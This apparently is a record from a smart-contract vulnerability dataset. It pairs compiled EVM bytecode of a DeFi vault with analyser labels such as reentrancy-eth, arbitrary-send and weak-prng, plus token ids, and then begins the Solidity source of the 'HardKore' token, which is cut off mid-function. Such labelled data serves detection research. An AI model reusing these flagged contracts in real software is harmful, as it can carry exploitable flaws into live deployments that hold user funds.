60850181815260f95461ffff9081166080880190815260fa5460a0890190815260f65460f55460f7549b516334d0abdd60e21b8152918a16600483015289166024820152604481019a909a528851881660648b01529951871660848a0152935190951660a48801525160c4870152905190921660e4850152935161010484015260cc61012484015260cf610144840152909181908190819073883391710ef00f129ed34d0118249abfb5c735319063d342af74906101640160806040518083038186803b158015612b4a57600080fd5b505af4158015612b5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b8291906155d8565b93509350935093507fa217999b1c125c2a996f712c5f26a28addad7167bd8a67d5bd5b2a751148abb08282604051612bc4929190918252602082015260400190565b60405180910390a1612bd583613c7a565b6001600160681b03831660f85560d180546001600160a01b0319166001600160a01b0386161790556000612c0942826140be565b905063ffffffff811115612c5f5760405162461bcd60e51b815260206004820152601860248201527f4f766572666c6f77206e6578744f7074696f6e526561647900000000000000006044820152606401611184565b60d2805463ffffffff60a01b1916600160a01b63ffffffff841602179055611d89876145ef565b6065546001600160a01b03163314612cb05760405162461bcd60e51b815260040161118490615ada565b6001600160a01b038116612d155760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401611184565b612d1e8161406c565b50565b600054610100900460ff1680612d3a575060005460ff16155b612d565760405162461bcd60e51b815260040161118490615a8c565b600054610100900460ff16158015612d78576000805461ffff19166101011790555b612e3d612d886020850185615519565b612d986040860160208701615519565b612da86060870160408801615519565b60608701356080880135612dbf60a08a018a615b67565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250612e019250505060c08b018b615b67565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250614765915050565b6000612e50610100850160e08601615519565b6001600160a01b03161415612ea05760405162461bcd60e51b815260206004820152601660248201527510afb7b83a34b7b739a83932b6b4bab6a83934b1b2b960511b6044820152606401611184565b6000612eb461012085016101008601615519565b6001600160a01b03161415612eff5760405162461bcd60e51b815260206004820152601160248201527010afb9ba3934b5b2a9b2b632b1ba34b7b760791b6044820152606401611184565b6000612f13610140850161012086016157db565b63ffffffff16118015612f475750612f2d600a6064615cd6565b612f3f610140850161012086016157db565b63ffffffff16105b612f875760405162461bcd60e51b81526020600482015260116024820152700857dc1c995b5a5d5b511a5cd8dbdd5b9d607a1b6044820152606401611184565b61012c8361014001351015612fd25760405162461bcd60e51b815260206004820152601160248201527010afb0bab1ba34b7b7223ab930ba34b7b760791b6044820152606401611184565b612fe3610100840160e08501615519565b60f580546001600160a01b0319166001600160a01b039290921691909117905561301561012084016101008501615519565b60f680546001600160a01b0319166001600160a01b0392909216919091179055613047610140840161012085016157db565b63ffffffff1660f75561014083013560fb5561306b61018084016101608501615616565b60fe805460ff191691151591909117905561308e61018084016101608501615616565b15613104576130a96130a4610180850185615b67565b614114565b6130e85760405162461bcd60e51b815260206004820152601060248201526f092dcecc2d8d2c840e6eec2e0a0c2e8d60831b6044820152606401611184565b6130f6610180840184615b67565b6131029160ff916153e6565b505b8015611e67576000805461ff0019169055505050565b6002600154141561313d5760405162461bcd60e51b815260040161118490615b30565b600260015560cc547f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b039081166201000090920416146131ae5760405162461bcd60e51b8152602060048201526005602482015264042ae8aa8960db1b6044820152606401611184565b600034116131e75760405162461bcd60e51b81526020600482015260066024820152652176616c756560d01b6044820152606401611184565b6131f134336138db565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b15801561324c57600080fd5b505af1158015612679573d6000803e3d6000fd5b6001600160a01b038116600090815260c9602090815260408083208151606081018352905461ffff81168083526201000082046001600160681b031694830194909452600160781b90046001600160801b0316918101919091528291600111156132e2575050506001600160a01b031660009081526097602052604081205491565b60cf54815161ffff908116600090815260ca602052604081205460cc54919361331893869391169190610100900460ff166149a4565b9050613339856001600160a01b031660009081526097602052604090205490565b9590945092505050565b600260015414156133665760405162461bcd60e51b815260040161118490615b30565b60026001556000613375614a15565b60fd54909150613385908261376e565b6001600160801b031660fd555060018055565b6065546001600160a01b031633146133c25760405162461bcd60e51b815260040161118490615ada565b6133d0620f42406064615cd6565b81106134175760405162461bcd60e51b8152602060048201526016602482015275496e76616c6964206d616e6167656d656e742066656560501b6044820152606401611184565b600061343463031ba30961342e84620f4240614bd2565b90614bde565b60d65460408051918252602082018590529192507f4e874b007ab14f7e263baefd44951834c8266f4f224d1092e49e9c254354cc54910160405180910390a160d65550565b6001600160a01b0383166134db5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401611184565b6001600160a01b03821661353c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401611184565b6001600160a01b0383811660008181526098602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166136025760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401611184565b6001600160a01b0382166136645760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401611184565b6001600160a01b038316600090815260976020526040902054818110156136dc5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401611184565b6001600160a01b03808516600090815260976020526040808220858503905591851681529081208054849290613713908490615bb3565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161375f91815260200190565b60405180910390a35b50505050565b60006112fe8284615cf5565b60cc546001600160a01b03620100009091048116907f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2168114156138c757604051632e1a7d4d60e01b8152600481018390527f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031690632e1a7d4d90602401600060405180830381600087803b15801561381a57600080fd5b505af115801561382e573d6000803e3d6000fd5b505050506000836001600160a01b03168360405160006040518083038185875af1925050503d806000811461387f576040519150601f19603f3d011682016040523d82523d6000602084013e613884565b606091505b50509050806137685760405162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b6044820152606401611184565b611e676001600160a01b0382168484614bea565b60cf5461ffff1660006138f6846138f06121f4565b906140be565b60ce549091506001600160681b03168111156139415760405162461bcd60e51b815260206004820152600a6024820152690457863656564206361760b41b6044820152606401611184565b60cd54600160a01b900466ffffffffffffff1681101561399a5760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b6044820152606401611184565b60408051858152602081018490526001600160a01b038516917f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a15910160405180910390a26001600160a01b038316600090815260c9602090815260408083208151606081018352905461ffff81168083526201000082046001600160681b031683860152600160781b9091046001600160801b031682840152845260ca90925282205460cc54919291613a59918491879190610100900460ff166149a4565b8251909150869061ffff16851415613a8a576020830151600090613a86906001600160681b0316896140be565b9150505b613a9381613c7a565b6040805160608101825261ffff80881682526001600160681b0380851660208085019182526001600160801b038089168688019081526001600160a01b038e16600090815260c990935296822095518654935197518216600160781b02600160781b600160f81b03199890951662010000026effffffffffffffffffffffffffffff1990941695169490941791909117949094161790915560d054613b399116896140be565b9050613b44816140ca565b60d080546001600160801b0319166001600160801b039290921691909117905550505050505050565b6040516001600160a01b03808516602483015283166044820152606481018290526137689085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152614c1a565b600080613be683600a615c2e565b905060008611613bf65780613c0e565b613c0e8661342e613c07888861376e565b8490614bd2565b9695505050505050565b600060018311613c625760405162461bcd60e51b8152602060048201526015602482015274496e76616c6964206173736574506572536861726560581b6044820152606401611184565b61164f613c7083600a615c2e565b61342e8686614bd2565b6001600160681b03811115612d1e5760405162461bcd60e51b815260206004820152601060248201526f13dd995c999b1bddc81d5a5b9d0c4c0d60821b6044820152606401611184565b6040805160c081018252600080825260208201819052918101829052606081018290526080810182905260a081019190915260f85480613d3e5760405162461bcd60e51b81526020600482015260156024820152742163757272656e744f746f6b656e5072656d69756d60581b6044820152606401611184565b60fe5460d2546001600160a01b0390811684527f0000000000000000000000000b7ffc1f4ad541a4ed16b40d8c37f0929158d10116602084015260ff1680613d975760cc546201000090046001600160a01b0316613db9565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb485b6001600160a01b0316604084015280613ddc5760cc54610100900460ff16613ddf565b60065b60ff16606084019081526080840183815260fb5460a0860190815260408051633baf17fd60e21b815287516001600160a01b03908116600483015260208901518116602483015291880151909116604482015292516064840152905160848301525160a482015273883391710ef00f129ed34d0118249abfb5c735319063eebc5ff49060c40160206040518083038186803b158015613e7d57600080fd5b505af4158015613e91573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613eb5919061564e565b60fc55505050565b33600090815260c9602090815260408083208151606081018352905461ffff8082168084526201000083046001600160681b031684870152600160781b9092046001600160801b03168385015260cf5491865260ca9094529184205460cc5491949290931692613f389185918591610100900460ff166149a4565b905083613f455784613f47565b805b945084613f55575050505050565b80851115613f995760405162461bcd60e51b81526020600482015260116024820152704578636565647320617661696c61626c6560781b6044820152606401611184565b825161ffff16821115613fc65733600090815260c960205260409020805462010000600160781b03191690555b613fcf856140ca565b613fd9818661376e565b33600081815260c960205260409081902080546001600160801b0394909416600160781b02600160781b600160f81b0319909416939093179092558451915190917fe5b754fb1abb7f01b499791d0b820ae3b6af3424ac1c59768edb53f4ec31a929916140529189825261ffff16602082015260400190565b60405180910390a261406530338761359e565b5050505050565b606580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60006112fe8284615bb3565b6001600160801b03811115612d1e5760405162461bcd60e51b815260206004820152601060248201526f09eeccae4ccd8deee40ead2dce86264760831b6044820152606401611184565b60cc5460405163055a2bef60e41b815260009173883391710ef00f129ed34d0118249abfb5c73531916355a2bef0916141a791879187917f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48916201000090046001600160a01b0316907f0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f98490600401615a0b565b60206040518083038186803b1580156141bf57600080fd5b505af41580156141d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112fe9190615632565b60d25460009081908190600160a01b900463ffffffff164210156142465760405162461bcd60e51b815260206004820152600660248201526521726561647960d01b6044820152606401611184565b60d1546001600160a01b031692508261428f5760405162461bcd60e51b815260206004820152600b60248201526a10b732bc3a27b83a34b7b760a91b6044820152606401611184565b60d3546040805160c08101825260cc54610100810460ff16825291516370a0823160e01b81523060048201526001600160a01b039384169360009384938493849373883391710ef00f129ed34d0118249abfb5c735319363633c14269360cf939092602084019262010000900416906370a082319060240160206040518083038186803b15801561431f57600080fd5b505afa158015614333573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614357919061564e565b815260200161436560995490565b815260208082018f905260d55460408084019190915260d65460609384015280516001600160e01b031960e088901b16815260048101959095528351602486015290830151604485015282015160648401528101516084830152608081015160a483015260a0015160c482015260e40160c06040518083038186803b1580156143ed57600080fd5b505af4158015614401573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906144259190615792565b809750819850829950839650849b50859c505050505050508760d160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600060d160000160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600060cf60000160009054906101000a900461ffff1661ffff1690508160ca600083815260200190815260200160002081905550856001600160a01b03167f0a242f7ecaf711036ca770774ceffae28e60ef042ac113ddd187f2631db0c006858584604051614514939291909283526020830191909152604082015260600190565b60405180910390a260d080546001600160801b0319169055614537816001615bb3565b60cf805461ffff191661ffff929092169190911790555061455a90503084614cec565b801561456a5761456a848261377a565b505050509193909250565b604051632e99361160e01b8152600481018290526001600160a01b03831690632e99361190602401602060405180830381600087803b1580156145b757600080fd5b505af11580156145cb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e67919061564e565b60cf546201000090046001600160681b03166001600160a01b0382161561463b5760cf80546cffffffffffffffffffffffffff60781b1916600160781b6001600160681b038416021790555b60cf805462010000600160781b031916905560d280546001600160a01b03191690556001600160a01b0382161561476157604051636c6fe87f60e11b81526001600160a01b037f0000000000000000000000004ccc2339f87f6c59c6893e1a678c2266ca58dc7216600482015260009073883391710ef00f129ed34d0118249abfb5c735319063d8dfd0fe9060240160206040518083038186803b1580156146e257600080fd5b505af41580156146f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061471a919061564e565b9050336001600160a01b0316836001600160a01b03167f7e830f7c1771deb1bdb35c4a7e6051bbac32b376f7f4e4976b8618b0b11997f78360405161359191815260200190565b5050565b600054610100900460ff168061477e575060005460ff16155b61479a5760405162461bcd60e51b815260040161118490615a8c565b600054610100900460ff161580156147bc576000805461ffff19166101011790555b60405163c72733f760e01b815273883391710ef00f129ed34d0118249abfb5c735319063c72733f790614801908c908c908c908b908d908c908c908c90600401615847565b60006040518083038186803b15801561481957600080fd5b505af415801561482d573d6000803e3d6000fd5b50505050614839614dcb565b6148438484614e3e565b61484b614ea7565b61485489612c86565b60d480546001600160a01b03808b166001600160a01b03199283161790925560d38054928a169290911691909117905560d585905561489e63031ba30961342e88620f4240614bd2565b60d6558160cc6148ae8282615dcb565b505060cc546040516370a0823160e01b81523060048201526000916201000090046001600160a01b0316906370a082319060240160206040518083038186803b1580156148fa57600080fd5b505afa15801561490e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614932919061564e565b905061493d81613c7a565b60cf805461ffff196001600160681b03909316600160781b02929092167fffffffff00000000000000000000000000ffffffffffffffffffffffffff00009092169190911760011790558015614999576000805461ff00191690555b505050505050505050565b835160009061ffff16158015906149bf5750845161ffff1684115b15614a015760006149de86602001516001600160681b03168585614f0e565b60408701519091506149f9906001600160801b0316826140be565b91505061164f565b50505050604001516001600160801b031690565b33600090815260cb6020526040812080546001600160801b03620100008204169061ffff1681614a775760405162461bcd60e51b815260206004820152600d60248201526c139bdd081a5b9a5d1a585d1959609a1b6044820152606401611184565b60cf5461ffff168110614abf5760405162461bcd60e51b815260206004820152601060248201526f149bdd5b99081b9bdd0818db1bdcd95960821b6044820152606401611184565b33600090815260cb60205260409020805462010000600160901b031916905560d054614afb90600160801b90046001600160801b03168361376e565b60d080546001600160801b03928316600160801b029216919091179055600081815260ca602052604081205460cc54614b3e91859160ff61010090910416613c18565b604080518281526020810186905291925033917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b568910160405180910390a2614b863084614f71565b60008111614bc85760405162461bcd60e51b815260206004820152600f60248201526e085dda5d1a191c985dd05b5bdd5b9d608a1b6044820152606401611184565b61164f338261377a565b60006112fe8284615cd6565b60006112fe8284615bcb565b6040516001600160a01b038316602482015260448101829052611e6790849063a9059cbb60e01b90606401613ba1565b6000614c6f826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166150bf9092919063ffffffff16565b805190915015611e675780806020019051810190614c8d9190615632565b611e675760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401611184565b6001600160a01b038216614d425760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401611184565b8060996000828254614d549190615bb3565b90915550506001600160a01b03821660009081526097602052604081208054839290614d81908490615bb3565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600054610100900460ff1680614de4575060005460ff16155b614e005760405162461bcd60e51b815260040161118490615a8c565b600054610100900460ff16158015614e22576000805461ffff19166101011790555b614e2a6150ce565b8015612d1e576000805461ff001916905550565b600054610100900460ff1680614e57575060005460ff16155b614e735760405162461bcd60e51b815260040161118490615a8c565b600054610100900460ff16158015614e95576000805461ffff19166101011790555b614e9d61513d565b61310483836151a7565b600054610100900460ff1680614ec0575060005460ff16155b614edc5760405162461bcd60e51b815260040161118490615a8c565b600054610100900460ff16158015614efe576000805461ffff19166101011790555b614f0661513d565b614e2a615225565b600060018311614f585760405162461bcd60e51b8152602060048201526015602482015274496e76616c6964206173736574506572536861726560581b6044820152606401611184565b61164f8361342e614f6a85600a615c2e565b8790614bd2565b6001600160a01b038216614fd15760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401611184565b6001600160a01b038216600090815260976020526040902054818110156150455760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401611184565b6001600160a01b0383166000908152609760205260408120838303905560998054849290615074908490615cf5565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050565b606061164f8484600085615285565b600054610100900460ff16806150e7575060005460ff16155b6151035760405162461bcd60e51b815260040161118490615a8c565b600054610100900460ff16158015615125576000805461ffff19166101011790555b600180558015612d1e576000805461ff001916905550565b600054610100900460ff1680615156575060005460ff16155b6151725760405162461bcd60e51b815260040161118490615a8c565b600054610100900460ff16158015614e2a576000805461ffff19166101011790558015612d1e576000805461ff001916905550565b600054610100900460ff16806151c0575060005460ff16155b6151dc5760405162461bcd60e51b815260040161118490615a8c565b600054610100900460ff161580156151fe576000805461ffff19166101011790555b825161521190609a90602086019061546a565b50815161310290609b90602085019061546a565b600054610100900460ff168061523e575060005460ff16155b61525a5760405162461bcd60e51b815260040161118490615a8c565b600054610100900460ff1615801561527c576000805461ffff19166101011790555b614e2a3361406c565b6060824710156152e65760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401611184565b843b6153345760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401611184565b600080866001600160a01b03168587604051615350919061582b565b60006040518083038185875af1925050503d806000811461538d576040519150601f19603f3d011682016040523d82523d6000602084013e615392565b606091505b50915091506153a28282866153ad565b979650505050505050565b606083156153bc5750816112fe565b8251156153cc5782518084602001fd5b8160405162461bcd60e51b81526004016111849190615a58565b8280546153f290615d38565b90600052602060002090601f016020900481019282615414576000855561545a565b82601f1061542d5782800160ff1982351617855561545a565b8280016001018555821561545a579182015b8281111561545a57823582559160200191906001019061543f565b506154669291506154de565b5090565b82805461547690615d38565b90600052602060002090601f016020900481019282615498576000855561545a565b82601f106154b157805160ff191683800117855561545a565b8280016001018555821561545a579182015b8281111561545a5782518255916020019190600101906154c3565b5b8082111561546657600081556001016154df565b80356154fe81615edc565b919050565b80356154fe81615eff565b80356154fe81615f14565b60006020828403121561552a578081fd5b81356112fe81615edc565b60008060408385031215615547578081fd5b823561555281615edc565b9150602083013561556281615edc565b809150509250929050565b600080600060608486031215615581578081fd5b833561558c81615edc565b9250602084013561559c81615edc565b929592945050506040919091013590565b600080604083850312156155bf578182fd5b82356155ca81615edc565b946020939093013593505050565b600080600080608085870312156155ed578081fd5b84516155f881615edc565b60208601516040870151606090970151919890975090945092505050565b600060208284031215615627578081fd5b81356112fe81615ef1565b600060208284031215615643578081fd5b81516112fe81615ef1565b60006020828403121561565f578081fd5b5051919050565b60008060208385031215615678578182fd5b823567ffffffffffffffff8082111561568f578384fd5b818501915085601f8301126156a2578384fd5b8135818111156156b0578485fd5b8660208285010111156156c1578485fd5b60209290920196919550909350505050565b60008082840360e08112156156e6578283fd5b833567ffffffffffffffff8111156156fc578384fd5b84016101a0818703121561570e578384fd5b925060c0601f1982011215615721578182fd5b506020830190509250929050565b600060208284031215615740578081fd5b81356001600160801b03811681146112fe578182fd5b600060208284031215615767578081fd5b5035919050565b60008060408385031215615780578182fd5b82359150602083013561556281615edc565b60008060008060008060c087890312156157aa578384fd5b865195506020870151945060408701519350606087015192506080870151915060a087015190509295509295509295565b6000602082840312156157ec578081fd5b813563ffffffff811681146112fe578182fd5b60008151808452615817816020860160208601615d0c565b601f01601f19169290920160200192915050565b6000825161583d818460208701615d0c565b9190910192915050565b60006101a060018060a01b03808c168452808b166020850152808a1660408501528860608501528760808501528160a0850152615886828501886157ff565b915083820360c085015261589a82876157ff565b9250843591506158a982615ef1565b90151560e08401526020840135906158c082615f29565b60ff8216610100850152604085013591506158da82615edc565b166101208301526158ed606084016154f3565b6001600160a01b03166101408301526159086080840161550e565b66ffffffffffffff1661016083015261592360a08401615503565b6001600160681b038116610180840152509998505050505050505050565b6001600160a01b038581168252602080830186905290841660408301526080606083015282546000918291600181811c908281168061598157607f831692505b84831081141561599f57634e487b7160e01b87526022600452602487fd5b6080880183905260a088018180156159be57600181146159cf576159f9565b60ff198616825286820197506159f9565b60008b815260209020895b868110156159f3578154848201529085019088016159da565b83019850505b50959c9b505050505050505050505050565b60808152846080820152848660a0830137600060a08683018101919091526001600160a01b039485166020830152928416604082015292166060830152601f909201601f19160101919050565b6020815260006112fe60208301846157ff565b60208082526007908201526610b5b2b2b832b960c91b604082015260600190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526007908201526608585b5bdd5b9d60ca1b604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6000808335601e19843603018112615b7d578283fd5b83018035915067ffffffffffffffff821115615b97578283fd5b602001915036819003821315615bac57600080fd5b9250929050565b60008219821115615bc657615bc6615d8e565b500190565b600082615be657634e487b7160e01b81526012600452602481fd5b500490565b600181815b80851115615c26578160001904821115615c0c57615c0c615d8e565b80851615615c1957918102915b93841c9390800290615bf0565b509250929050565b60006112fe8383600082615c4457506001611253565b81615c5157506000611253565b8160018114615c675760028114615c7157615c8d565b6001915050611253565b60ff841115615c8257615c82615d8e565b50506001821b611253565b5060208310610133831016604e8410600b8410161715615cb0575081810a611253565b615cba8383615beb565b8060001904821115615cce57615cce615d8e565b029392505050565b6000816000190483118215151615615cf057615cf0615d8e565b500290565b600082821015615d0757615d07615d8e565b500390565b60005b83811015615d27578181015183820152602001615d0f565b838111156137685750506000910152565b600181811c90821680615d4c57607f821691505b60208210811415615d6d57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415615d8757615d87615d8e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6000813561125381615edc565b6000813561125381615eff565b6000813561125381615f14565b8135615dd681615ef1565b815460ff19811691151560ff1691821783556020840135615df681615f29565b61ff008160081b169050808361ffff198416171784556040850135615e1a81615edc565b6001600160b01b0319929092169092179190911760109190911b62010000600160b01b031617815560018101615e72615e5560608501615da4565b82546001600160a01b0319166001600160a01b0391909116178255565b615eab615e8160808501615dbe565b82805466ffffffffffffff60a01b191660a09290921b66ffffffffffffff60a01b16919091179055565b50614761615ebb60a08401615db1565b600283016001600160681b0382166001600160681b03198254161781555050565b6001600160a01b0381168114612d1e57600080fd5b8015158114612d1e57600080fd5b6001600160681b0381168114612d1e57600080fd5b66ffffffffffffff81168114612d1e57600080fd5b60ff81168114612d1e57600080fdfea26469706673582212205736b33cc4bbd3d86467e04420f551da46bb38b49931ff66ff8e7f40d2421c0d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 22275, 2692, 2575, 2683, 7875, 27009, 12879, 19797, 7959, 2546, 18139, 2620, 21486, 2581, 2497, 2581, 2549, 26337, 28154, 4215, 2487, 2094, 25746, 2620, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1022, 1012, 1018, 1025, 12324, 1063, 3647, 18900, 2232, 1065, 2013, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1063, 29464, 11890, 11387, 1065, 2013, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1063, 3647, 2121, 2278, 11387, 1065, 2013, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,497
0x96e593f4bbae13a9aded6c271533c6b6e4f5211e
pragma solidity ^0.5.0; // -------------------------------- // Solidity Contract for HKORE // Twitter: https://twitter.com/hkorefinance // Telegram: https://t.me/hkorefinance // Website: https://hkore.finance // Email: contact@hkore.finance // -------------------------------- // IERC20 Interface interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // SafeMath Library library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } } // ERC20Detailed contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } // HardKore Contract contract HardKore is ERC20Detailed { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; string constant tokenName = "HardKore"; string constant tokenSymbol = "HKORE"; uint256 public startDate; uint8 constant tokenDecimals = 18; uint256 _totalSupply = 50000 * (10 ** 18); uint256 public basePercent = 100; constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { _mint(msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } // Burn 10% function findOnePercent(uint256 value) public view returns (uint256) { uint256 roundValue = value.ceil(basePercent); uint256 onePercent = roundValue.mul(basePercent).div(1000); return onePercent; } // function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); // Allow deployer to add liquidity without being subject to the 1,000 HKORE max transaction limit if (msg.sender == 0x2cf7EB9FCbA146a9D7f16ae6d4e646e458A6B147 || msg.sender == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) { uint256 tokensToBurn = findOnePercent(value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(tokensToTransfer); 